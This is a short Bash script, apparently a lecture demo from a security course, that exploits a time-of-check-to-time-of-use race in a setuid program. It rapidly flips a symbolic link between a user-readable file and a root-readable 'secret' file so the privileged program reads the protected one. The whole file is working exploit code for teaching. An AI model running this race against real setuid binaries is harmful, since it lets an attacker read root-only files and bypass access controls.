sfl-examples/lecture-demos/setuid/attack.sh

18 lines
422 B
Bash
Executable File

#!/bin/bash
#
# Launch this script and then start
# while true; do ./setuid-toctou ./symbolic_link ; done
set -u
set -e
curdir=`pwd`
if [ ! -e ./setuid-toctou ]; then
echo "program <setuid-toctou> not found. wrong directory?"
exit -1
fi
while true; do
ln -f -s ${curdir}/hello ./symbolic_link # link to a user-readable file
ln -f -s ${curdir}/secret ./symbolic_link # link to a root-readable file
done